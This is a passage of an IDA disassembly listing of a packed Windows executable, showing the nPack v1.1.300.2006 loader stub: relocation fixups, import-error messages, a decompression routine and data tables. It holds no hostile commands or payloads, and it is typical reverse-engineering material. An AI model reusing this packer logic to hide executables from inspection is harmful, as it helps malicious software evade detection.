		mov	eax, [ebp+var_58]
		mov	eax, [eax]
		add	eax, ds:dword_496E48
		push	eax
		call	sub_49603A
		add	esp, 0Ch
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_496791:				; CODE XREF: sub_4964F3+261j
		jmp	short loc_4967CF
; ---------------------------------------------------------------------------


loc_496793:				; CODE XREF: sub_4964F3+19Bj
					; sub_4964F3+1A9j
		cmp	[ebp+var_20], 0
		jz	short loc_49679B
		jmp	short loc_4967CF
; ---------------------------------------------------------------------------


loc_49679B:				; CODE XREF: sub_4964F3+2A4j
		mov	eax, [ebp+arg_4]
		sub	eax, ds:dword_496E48
		mov	ecx, [ebp+var_54]
		mov	ecx, [ecx]
		sub	ecx, eax
		mov	[ebp+var_6C], ecx
		mov	eax, [ebp+var_54]
		push	dword ptr [eax+4]
		mov	eax, [ebp+var_6C]
		add	eax, [ebp+arg_0]
		push	eax
		mov	eax, [ebp+var_58]
		mov	eax, [eax]
		add	eax, ds:dword_496E48
		push	eax
		call	sub_49603A
		add	esp, 0Ch


loc_4967CF:				; CODE XREF: sub_4964F3+14Fj
					; sub_4964F3+1AFj ...
		mov	eax, [ebp+var_4C]
		add	eax, 8
		mov	[ebp+var_4C], eax
		mov	eax, [ebp+var_44]
		add	eax, 8
		mov	[ebp+var_44], eax
		jmp	loc_496622
; ---------------------------------------------------------------------------


loc_4967E6:				; CODE XREF: sub_4964F3+DCj
					; sub_4964F3+13Cj
		mov	eax, [ebp+var_24]
		add	eax, 8
		mov	[ebp+var_24], eax
		mov	eax, [ebp+var_38]
		add	eax, 8
		mov	[ebp+var_38], eax
		jmp	loc_4965AE
; ---------------------------------------------------------------------------


loc_4967FD:				; CODE XREF: sub_4964F3+68j
					; sub_4964F3+C8j
		mov	eax, [ebp+var_18]
		add	eax, 8
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_10]
		add	eax, 8
		mov	[ebp+var_10], eax
		jmp	loc_49653A
; ---------------------------------------------------------------------------


loc_496814:				; CODE XREF: sub_4964F3+54j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4964F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_496819	proc near		; CODE XREF: start+38p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ds:dword_496E48
		call	sub_496030
		cmp	dword ptr [eax+0C0h], 0
		pop	ecx
		jz	short loc_49687A
		mov	eax, ds:dword_496E50
		mov	ds:dword_496E2C, eax
		mov	ecx, ds:dword_496E50
		mov	edx, large fs:2Ch
		mov	ecx, [edx+ecx*4]
		mov	[ebp+var_4], ecx
		mov	ecx, ds:dword_496E28
		mov	eax, ds:dword_496E24
		sub	ecx, eax
		push	ecx
		push	eax
		push	[ebp+var_4]
		call	sub_49603A
		push	ds:dword_496E34
		push	ds:dword_496E28
		call	sub_49604E
		add	esp, 14h


loc_49687A:				; CODE XREF: sub_496819+17j
		cmp	ds:dword_496E58, 0
		push	ebx
		push	esi
		push	edi
		mov	ds:dword_496E54, 1
		jz	short loc_4968C0
		mov	esi, ds:dword_496E30
		mov	eax, ds:dword_496E5C
		mov	edi, ds:dword_496E64
		mov	ebx, ds:dword_496E60
		test	esi, esi
		mov	[ebp+var_4], eax
		jz	short loc_4968C0


loc_4968AE:				; CODE XREF: sub_496819+A5j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4968C0
		push	edi
		push	ebx
		push	[ebp+var_4]
		call	eax
		add	esi, 4
		jmp	short loc_4968AE
; ---------------------------------------------------------------------------


loc_4968C0:				; CODE XREF: sub_496819+75j
					; sub_496819+93j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_496819	endp


; =============== S U B	R O U T	I N E =======================================



sub_4968C5	proc near		; CODE XREF: start+33p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	ds:dword_496E48
		call	sub_496030
		mov	edx, ds:dword_496E48
		mov	edi, ds:dword_496E14
		mov	esi, edx
		pop	ecx
		sub	esi, [eax+34h]
		lea	ecx, [edi+edx]
		jz	loc_49699A
		test	edi, edi
		jz	loc_49699A
		cmp	dword ptr [ecx], 0
		jz	loc_49699A
		mov	edi, 0FFFh


loc_496906:				; CODE XREF: sub_4968C5+CFj
		mov	eax, [ecx+4]
		sub	eax, 8
		shr	eax, 1
		jz	loc_49699A
		test	eax, eax
		lea	ebx, [ecx+8]
		jbe	short loc_49698E
		mov	[esp+14h+var_4], eax


loc_49691F:				; CODE XREF: sub_4968C5+C7j
		movzx	eax, word ptr [ebx]
		mov	ebp, eax
		and	bp, 0F000h
		cmp	ebp, 3000h
		jnz	short loc_49693F
		and	eax, edi
		add	eax, [ecx]
		add	eax, edx
		add	[eax], esi
		mov	edx, ds:dword_496E48


loc_49693F:				; CODE XREF: sub_4968C5+6Aj
		movzx	eax, word ptr [ebx]
		mov	ebp, eax
		and	bp, 0F000h
		cmp	ebp, 1000h
		jnz	short loc_496965
		and	eax, edi
		add	eax, [ecx]
		add	eax, edx
		mov	edx, esi
		shr	edx, 10h
		add	[eax], dx
		mov	edx, ds:dword_496E48


loc_496965:				; CODE XREF: sub_4968C5+8Aj
		movzx	eax, word ptr [ebx]
		mov	ebp, eax
		and	bp, 0F000h
		cmp	ebp, 2000h
		jnz	short loc_496986
		and	eax, edi
		add	eax, [ecx]
		add	eax, edx
		add	[eax], si
		mov	edx, ds:dword_496E48


loc_496986:				; CODE XREF: sub_4968C5+B0j
		inc	ebx
		inc	ebx
		dec	[esp+14h+var_4]
		jnz	short loc_49691F


loc_49698E:				; CODE XREF: sub_4968C5+54j
		add	ecx, [ecx+4]
		cmp	dword ptr [ecx], 0
		jnz	loc_496906


loc_49699A:				; CODE XREF: sub_4968C5+25j
					; sub_4968C5+2Dj ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_4968C5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4969A0	proc near		; CODE XREF: sub_496410+3Dp
					; sub_496410:loc_4964DDp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= word ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	4
		push	3000h
		push	0FFh
		push	0
		call	ds:dword_496E44	; VirtualAlloc
		mov	esi, eax
		mov	eax, [ebp+arg_0]
		sub	eax, 0
		jz	short loc_4969EE
		dec	eax
		jz	short loc_4969DF
		dec	eax
		jnz	short loc_496A00
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	offset aTheProcedureEn ; "The procedure	entry point %s could not "...


loc_4969D3:				; CODE XREF: sub_4969A0+4Cj
		push	esi
		call	ds:dword_496C10	; wsprintfA
		add	esp, 10h
		jmp	short loc_496A00
; ---------------------------------------------------------------------------


loc_4969DF:				; CODE XREF: sub_4969A0+23j
		movzx	eax, [ebp+arg_C]
		push	[ebp+arg_4]
		push	eax
		push	offset aTheOrdinalUCou ; "The ordinal %u could not be located in "...
		jmp	short loc_4969D3
; ---------------------------------------------------------------------------


loc_4969EE:				; CODE XREF: sub_4969A0+20j
		push	[ebp+arg_4]
		push	offset aCouldNotLoadDy ; "Could	not load dynamic link library %s."...
		push	esi
		call	ds:dword_496C10	; wsprintfA
		add	esp, 0Ch


loc_496A00:				; CODE XREF: sub_4969A0+26j
					; sub_4969A0+3Dj
		push	10h
		push	offset aNpackV1_1_300_ ; "nPack	v1.1.300.2006: Loader Error"
		push	esi
		push	0
		call	ds:dword_496C14	; MessageBoxA
		push	4000h
		push	0
		push	esi
		call	ds:dword_496E40	; VirtualFree
		push	0FFFFFFFFh
		call	ds:dword_496C04	; ExitProcess
		pop	esi
		pop	ebp
		retn
sub_4969A0	endp

; ---------------------------------------------------------------------------
		db 3 dup(0CCh)
		dd 0CCCCCCCCh

; =============== S U B	R O U T	I N E =======================================



sub_496A30	proc near		; CODE XREF: sub_496080+Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00496ACF SIZE 0000000A BYTES

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h
		xor	ebx, ebx


loc_496A3E:				; CODE XREF: sub_496A30+16j
		movsb
		mov	bl, 2


loc_496A41:				; CODE XREF: sub_496A30+3Bj
					; sub_496A30+81j
		call	sub_496AB3
		jnb	short loc_496A3E
		xor	ecx, ecx
		call	sub_496AB3
		jnb	short loc_496A6D
		xor	eax, eax
		call	sub_496AB3
		jnb	short loc_496A7D
		mov	bl, 2
		inc	ecx
		mov	al, 10h


loc_496A5F:				; CODE XREF: sub_496A30+36j
		call	sub_496AB3
		adc	al, al
		jnb	short loc_496A5F
		jnz	short loc_496AA9
		stosb
		jmp	short loc_496A41
; ---------------------------------------------------------------------------


loc_496A6D:				; CODE XREF: sub_496A30+1Fj
		call	sub_496ABF
		sub	ecx, ebx
		jnz	short loc_496A86
		call	sub_496ABD
		jmp	short loc_496AA5
; ---------------------------------------------------------------------------


loc_496A7D:				; CODE XREF: sub_496A30+28j
		lodsb
		shr	eax, 1
		jz	short loc_496ACF
		adc	ecx, ecx
		jmp	short loc_496AA2
; ---------------------------------------------------------------------------


loc_496A86:				; CODE XREF: sub_496A30+44j
		xchg	eax, ecx
		dec	eax
		shl	eax, 8
		lodsb
		call	sub_496ABD
		cmp	eax, 7D00h
		jnb	short loc_496AA2
		cmp	ah, 5
		jnb	short loc_496AA3
		cmp	eax, 7Fh
		ja	short loc_496AA4


loc_496AA2:				; CODE XREF: sub_496A30+54j
					; sub_496A30+66j
		inc	ecx


loc_496AA3:				; CODE XREF: sub_496A30+6Bj
		inc	ecx


loc_496AA4:				; CODE XREF: sub_496A30+70j
		xchg	eax, ebp


loc_496AA5:				; CODE XREF: sub_496A30+4Bj
		mov	eax, ebp
		mov	bl, 1


loc_496AA9:				; CODE XREF: sub_496A30+38j
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	short loc_496A41
sub_496A30	endp


; =============== S U B	R O U T	I N E =======================================



sub_496AB3	proc near		; CODE XREF: sub_496A30:loc_496A41p
					; sub_496A30+1Ap ...
		add	dl, dl
		jnz	short locret_496ABC
		mov	dl, [esi]
		inc	esi
		adc	dl, dl

locret_496ABC:				; CODE XREF: sub_496AB3+2j
		retn
sub_496AB3	endp


; =============== S U B	R O U T	I N E =======================================



sub_496ABD	proc near		; CODE XREF: sub_496A30+46p
					; sub_496A30+5Cp
		xor	ecx, ecx
sub_496ABD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_496ABF	proc near		; CODE XREF: sub_496A30:loc_496A6Dp
		inc	ecx


loc_496AC0:				; CODE XREF: sub_496ABF+Dj
		call	sub_496AB3
		adc	ecx, ecx
		call	sub_496AB3
		jb	short loc_496AC0
		retn
sub_496ABF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_496A30


loc_496ACF:				; CODE XREF: sub_496A30+50j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn
; END OF FUNCTION CHUNK	FOR sub_496A30
; ---------------------------------------------------------------------------
		align 4
		dd 49h dup(0)
dword_496C00	dd 77E805D8h		; DATA XREF: sub_49620A+7r
					; sub_496410+2Br
dword_496C04	dd 77E75CB5h		; DATA XREF: sub_4969A0+80r
dword_496C08	dd 77E7A5FDh		; DATA XREF: sub_49620A+Dr
					; sub_496410+8Br ...
		align 10h
dword_496C10	dd 77D4C96Ah		; DATA XREF: sub_4969A0+34r
					; sub_4969A0+57r
dword_496C14	dd 77D6ADD7h		; DATA XREF: sub_4969A0+6Ar
		dd 0
		dd 96C58h, 2 dup(0)
		dd 96CA4h, 96C00h, 96C68h, 2 dup(0)
		dd 96CCCh, 96C10h, 5 dup(0)
		dd 96C86h, 96C96h, 96C74h, 0
		dd 96CC0h, 96CB2h, 0
		dd 6547013Eh, 6F725074h, 64644163h, 73736572h, 1C20000h
		dd 64616F4Ch, 7262694Ch, 41797261h, 7D0000h, 74697845h
		dd 636F7250h, 737365h, 4E52454Bh, 32334C45h, 6C6C642Eh
		dd 1BE0000h, 7373654Dh,	42656761h, 41786Fh, 737702ACh
		dd 6E697270h, 416674h, 52455355h, 642E3233h, 6C6Ch, 4Ah	dup(0)
off_496E00	dd offset sub_417ED0	; DATA XREF: start+4Cw	start+52r ...
dword_496E04	dd 95000h		; DATA XREF: sub_496410r
dword_496E08	dd 961B0h		; DATA XREF: start+1Er
dword_496E0C	dd 0			; DATA XREF: sub_49627A+6Dr
					; sub_49627A+B2r ...
		dd 0
dword_496E14	dd 0			; DATA XREF: sub_4968C5+16r
byte_496E18	db 74h			; DATA XREF: sub_49627A+128r
		align 4
byte_496E1C	db 1			; DATA XREF: sub_49627A+50r
		align 10h
		dd 0
dword_496E24	dd 0			; DATA XREF: sub_496819+3Cr
dword_496E28	dd 0			; DATA XREF: sub_496819+36r
					; sub_496819+53r
dword_496E2C	dd 0			; DATA XREF: sub_496819+1Ew
dword_496E30	dd 0			; DATA XREF: sub_496819+77r
dword_496E34	dd 0			; DATA XREF: sub_496819+4Dr
		align 10h
dword_496E40	dd 77E79E34h		; DATA XREF: sub_49620A+2Bw
					; sub_49623C+35r ...
dword_496E44	dd 77E7980Ah		; DATA XREF: sub_49620A+23w
					; sub_49623C+Dr ...
dword_496E48	dd 400000h		; DATA XREF: start+24w	start+3Dr ...
dword_496E4C	dd 1			; DATA XREF: startr start+42w
dword_496E50	dd 0			; DATA XREF: sub_496819+19r
					; sub_496819+23r
dword_496E54	dd 1			; DATA XREF: sub_496819+6Bw
dword_496E58	dd 0			; DATA XREF: sub_496819:loc_49687Ar
dword_496E5C	dd 0			; DATA XREF: sub_496819+7Dr
dword_496E60	dd 0			; DATA XREF: sub_496819+88r
dword_496E64	dd 0			; DATA XREF: sub_496819+82r
		align 200h
_nPack		ends

; Section 6. (virtual address 00097000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00097000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 497000h
		align 2000h
_idata2		ends


		end start